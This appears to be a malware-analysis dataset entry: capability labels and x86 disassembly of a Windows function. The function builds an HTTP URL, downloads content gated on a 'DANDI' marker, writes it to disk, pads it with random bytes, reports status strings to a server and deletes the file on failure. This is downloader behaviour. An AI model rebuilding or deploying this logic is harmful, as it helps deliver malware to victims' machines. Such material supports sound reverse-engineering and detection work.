Function at 0x405db0
Capabilities:
Create http request
Delete file
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x407ac5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x428
push ebx
push ebp
push esi
push edi
mov esi, ecx
lea eax, [esp + 0x448]
lea ecx, [esp + 0x18]
push eax
mov dword [esp + 0x444], 0
call sub.MFC42.DLL_CString::CString_2
push 0x40aabc
lea ecx, [esp + 0x14]
mov byte [esp + 0x444], 1
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x24]
mov byte [esp + 0x440], 2
xor bl, bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x440], 3
push ecx
mov ecx, esi
call fcn.00403b50
mov edx, dword [esp + 0x24]
push 0
push 0
push 0
push 0
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
lea eax, [esi + 0x98]
push eax
lea ecx, [esp + 0x20]
push str.http:__
push ecx
call sub.MFC42.DLL_operator_2
push 0x40a564
lea edx, [esp + 0x30]
push eax
push edx
mov byte [esp + 0x44c], 4
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x448]
lea edx, [esp + 0x14]
push ecx
push eax
push edx
mov byte [esp + 0x44c], 5
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x444], 6
call fcn.00406ae0
lea ecx, [esp + 0x14]
mov byte [esp + 0x440], 5
call fcn.004069cc
lea ecx, [esp + 0x2c]
mov byte [esp + 0x440], 4
call fcn.004069cc
lea ecx, [esp + 0x1c]
mov byte [esp + 0x440], 3
call fcn.004069cc
mov eax, dword [esp + 0x18]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x405f21
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2ee3
mov dword [esp + 0x28], eax
jne 0x4060ab
lea ecx, [esp + 0x34]
lea edx, [esp + 0x38]
push ecx
lea eax, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x40], 0x400
call dword [sym.imp.WININET.dll_InternetGetLastResponseInfoA]
jmp 0x4060ab
mov al, byte [esp + 0x44c]
test al, al
je 0x405f3f
lea ecx, [esp + 0x448]
push ecx
lea ecx, [esp + 0x14]
call fcn.00406ae0
jmp 0x405f76
lea edx, [esp + 0x448]
lea eax, [esp + 0x1c]
push edx
push eax
mov ecx, esi
call fcn.00406150
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x444], 7
call fcn.00406ae0
lea ecx, [esp + 0x1c]
mov byte [esp + 0x440], 3
call fcn.004069cc
mov ecx, dword [esp + 0x10]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x405fa9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x28], eax
jmp 0x4060ab
lea edx, [esp + 0x20]
lea eax, [esp + 0x38]
push edx
push 5
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4060a0
lea ecx, [esp + 0x38]
push str.DANDI
push ecx
mov byte [esp + 0x45], 0
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x406076
lea edx, [esp + 0x20]
lea eax, [esp + 0x38]
push edx
push 0x400
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x406033
mov eax, dword [esp + 0x20]
test eax, eax
je 0x406033
lea ecx, [esp + 0x30]
push 0
push ecx
lea edx, [esp + 0x40]
push eax
push edx
push ebp
call ebx
lea eax, [esp + 0x20]
lea ecx, [esp + 0x38]
push eax
push 0x400
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x406001
call dword [sym.imp.MSVCRT.dll_rand]
mov edi, eax
and edi, 0x8000000f
jns 0x406048
dec edi
or edi, 0xfffffff0
inc edi
lea edx, [esi + 0xb8]
lea ecx, [esp + 0x14]
push edx
inc edi
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x30]
push 0
push eax
push edi
push ecx
push ebp
call ebx
lea ecx, [esp + 0x14]
mov bl, 1
call fcn.004069cc
jmp 0x4060a0
mov eax, dword [esi + 0xb8]
lea edx, [esp + 0x38]
push edx
push eax
push str.uid:_s_dvf__s_
push 0x40aab0
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, esi
push 0x40aab0
call fcn.00405830
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
jne 0x4060e5
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x10]
mov eax, dword [esi + 0xb8]
push ecx
push edx
push eax
push str.uid:_s_dnlff___s__del__d_
push 0x40aab0
call sub.MFC42.DLL_CString::Format
add esp, 0x14
mov ecx, esi
push 0x40aab0
call fcn.00405830
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x24]
mov byte [esp + 0x440], 2
call fcn.004069cc
lea ecx, [esp + 0x10]
mov byte [esp + 0x440], 1
call fcn.004069cc
lea ecx, [esp + 0x18]
mov byte [esp + 0x440], 0
call fcn.004069cc
lea ecx, [esp + 0x448]
mov dword [esp + 0x440], 0xffffffff
call fcn.004069cc
mov ecx, dword [esp + 0x438]
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x434
ret 8